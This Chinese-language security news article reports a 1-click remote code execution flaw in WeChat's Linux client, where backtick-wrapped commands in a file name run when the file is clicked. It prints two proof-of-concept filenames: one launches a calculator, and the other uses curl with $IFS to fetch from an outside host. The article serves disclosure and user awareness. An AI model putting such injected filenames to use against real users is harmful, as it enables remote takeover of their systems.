Linux版微信曝高危漏洞：文件名被滥用可致1-click RCE

近日，有安全研究人员披露了微信（WeChat）Linux桌面客户端的一个高危安全漏洞。该漏洞允许攻击者通过精心构造的恶意文件名，在受害者点击文件时触发远程代码执行（RCE），实现所谓的“1-click”攻击。

漏洞原理与复现演示

根据披露的信息，漏洞的核心在于Linux版微信对接收文件名的处理存在缺陷。攻击者可以将待执行的系统命令包裹在反引号中，并将其作为文件名的一部分发送给目标用户。

当接收方在微信聊天窗口中看到并点击这个文件时，包裹在文件名中的命令就会被执行。下图清晰地展示了漏洞的复现过程：

从截图中可以看到两个关键的复现示例：

1. 基础命令执行：攻击者发送了一个名为 ‘kcalc’.pdf 的文件。当受害者点击此文件时，系统并未打开一个PDF阅读器，而是直接弹出了一个名为“KCalc”的计算器应用程序。这证明文件名中的命令 kcalc（一个Linux计算器程序）被成功执行。

2. 远程下载与执行：第二个示例展示了更危险的利用方式。攻击者构造了一个包含复杂命令的文件名：‘curl’$IFS”www.mhtsec.com’.pdf。这个命令利用了 curl 工具和 $IFS（内部字段分隔符，通常指代空格）来从远程服务器下载潜在的有效载荷。

简而言之，只要Linux版微信允许在文件名中使用的字符范围内，攻击者就可以嵌入各种系统命令，从而在受害者毫无察觉的情况下接管其系统。

安全影响与思考

此类“1-click RCE”漏洞危害性极高，因为它几乎不需要用户进行任何额外的、有风险的操作（如运行陌生程序），仅需点击一个看似普通的接收文件即可中招。这对于依赖微信进行日常工作和通信的Linux用户构成了严重威胁。

目前，尚未有官方补丁发布的明确消息。在漏洞修复之前，Linux用户在处理微信中接收到的任何文件时都应保持高度警惕，尤其是来自不可信来源的文件。安全研究人员和社区正在密切关注此漏洞的后续进展。

此次事件再次提醒我们，即使是广泛使用的成熟软件，也可能在特定平台或场景下隐藏着致命的安全问题。保持软件更新、提高安全意识，是防范此类 高级攻击 的基础。关于此漏洞的更多技术细节和防御讨论，可以在 云栈社区 的相关板块中找到。